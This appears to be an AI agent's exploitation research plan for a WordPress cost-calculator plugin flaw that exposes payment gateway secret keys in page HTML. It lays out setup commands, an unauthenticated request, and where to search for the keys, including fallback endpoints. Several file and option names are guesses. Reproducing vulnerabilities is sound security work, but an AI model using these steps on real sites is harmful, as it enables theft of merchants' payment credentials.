Exploitation Research Plan - CVE-2026-10865

1. Vulnerability Summary

The Cost Calculator Builder plugin (<= 4.0.11) is vulnerable to Sensitive Information Exposure. The plugin exposes payment gateway secret keys (Stripe, Razorpay, and PayPal) in the HTML source code of any page where a calculator is embedded. This occurs when the "use in all calculators" option is enabled in the global settings, causing the plugin to localize sensitive configuration data to the frontend JavaScript context without filtering out secrets.

2. Attack Vector Analysis

• Endpoint: Any public-facing page or post containing a [cost_calculator] shortcode.
• Method: Unauthenticated GET request.
• Precondition:
  1. A payment gateway (Stripe, Razorpay, or PayPal) must be configured in the plugin settings.
  2. The "use in all calculators" option for that gateway must be enabled.
  3. At least one calculator must be published on a page.
• Authentication: None required.

3. Code Flow Trace

The vulnerability stems from how settings are passed from the server to the frontend Vue.js components.

1. Entry Point: A user visits a page with the [cost_calculator] shortcode.
2. Shortcode Handling: CCBEmbedCalculator or CCBFrontController (likely inside includes/classes/CCBFrontController.php) processes the shortcode and enqueues the necessary scripts.
3. Data Localization: The plugin uses wp_localize_script() or wp_add_inline_script() to pass configuration data to the frontend.
4. The Sink: The function responsible for gathering settings (likely inside includes/classes/CCBSettingsData.php or CCBCalculatorsHandler.php) retrieves the entire gateway configuration object from the database (wp_options).
5. The Bug: If "use in all calculators" is enabled, the code does not sanitize the configuration object before passing it to the localization function, resulting in secret_key or client_secret being printed in the page source inside a JSON object.

4. Nonce Acquisition Strategy

No nonce is required. This is a passive information exposure vulnerability via a standard GET request.

5. Test Data Setup

To reproduce the vulnerability, the environment must be configured as follows:

1. Configure Payment Gateway:

   # Use WP-CLI to simulate setting up a Stripe gateway with a secret key
   # The actual option name might be ccb_settings or ccb_payment_settings
   # We will verify the exact option name in the research phase
   wp option patch insert ccb_settings stripe_secret_key "sk_test_51MzVulnerabilityTestKey"
   wp option patch insert ccb_settings stripe_use_global "on"
   wp option patch insert ccb_settings razorpay_secret_key "rzp_test_SecretKey123"
   wp option patch insert ccb_settings razorpay_use_global "on"
   

2. Create a Calculator:
   • Use the plugin's internal methods or WP-CLI to ensure a calculator exists. (Default ID is usually 1).
3. Publish a Page:

   wp post create --post_type=page --post_title="Payment Calculator" --post_status=publish --post_content='[cost_calculator id="1"]'
   

6. Exploitation Strategy

The exploitation is a two-step process: discovering where the data is localized and then extracting it.

Phase 1: Discovery

1. Identify the localization variable name. We will search for wp_localize_script in the plugin directory.
2. Search for the "use in all calculators" setting logic in includes/classes/CCBSettingsData.php.

Phase 2: Extraction

1. Request:

   GET /payment-calculator/ HTTP/1.1
   Host: target.local
   

2. Analysis:
   • Inspect the response body for <script> tags.
   • Look for common localization keys like ccb_data, ccb_frontend_settings, or calc_data.
   • Search for the specific secret key strings (e.g., sk_test_, rzp_test_).

7. Expected Results

A successful exploit will find a JSON object in the page source similar to:

<script id="ccb-frontend-settings-js-extra">
var ccb_data = {
    "payments": {
        "stripe": {
            "enabled": "on",
            "publishable_key": "pk_test_...",
            "secret_key": "sk_test_51MzVulnerabilityTestKey",
            "use_global": "on"
        },
        "razorpay": {
            "key_id": "rzp_test_...",
            "key_secret": "rzp_test_SecretKey123",
            "use_global": "on"
        }
    }
};
</script>

8. Verification Steps

1. Manual Check: Perform a GET request to the page and grep for the secret:

   # In the tool context
   http_request(url="http://localhost:8080/payment-calculator/")
   # Then grep the response for "secret_key"
   

2. Internal Comparison: Compare the value found in the HTML source with the value stored in the database:

   wp option get ccb_settings --format=json | jq .stripe_secret_key
   

9. Alternative Approaches

If the secrets are not in a standard wp_localize_script block:

• Check if they are embedded as data- attributes on the calculator's container div (e.g., <div id="ccb-container" data-config="...">).
• Check if the plugin fetches configuration via an unauthenticated AJAX/REST endpoint (e.g., wp-json/ccb/v1/settings?id=1). If so, check that endpoint for the same lack of sanitization.
• Use browser_eval to inspect the global window object: browser_eval("window.ccb_data").